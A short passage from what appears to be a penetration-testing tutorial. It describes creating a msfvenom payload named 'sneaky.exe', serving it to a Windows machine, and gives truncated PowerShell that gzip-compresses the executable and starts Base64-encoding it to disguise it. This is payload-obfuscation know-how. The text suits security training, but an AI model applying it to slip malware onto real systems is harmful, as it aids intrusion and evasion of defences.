Encoding and decoding binaries in PowerShell
First, we’re going to switch back to our Kali box and create a quick executable bug with msfvenom.
Then, we’re going to send it over to our Windows box by serving it up with SimpleHTTPServer
:
I’m calling this file sneaky.exe
for this example. Now, let’s work our magic and read the raw bytes out of the EXE, compress the result, then convert it into Base64. Let’s get cracking:
$rawData = [System.IO.File]::ReadAllBytes("C:\Users\bramw\Downloads\sneaky.exe") $memStream = New-Object IO.MemoryStream $compressStream = New-Object System.IO.Compression.GZipStream ($memStream, [IO.Compression.CompressionMode]::Compress) $compressStream.Write($rawData, 0, $rawData.Length) $compressStream.Close() $compressedRaw = $memStream...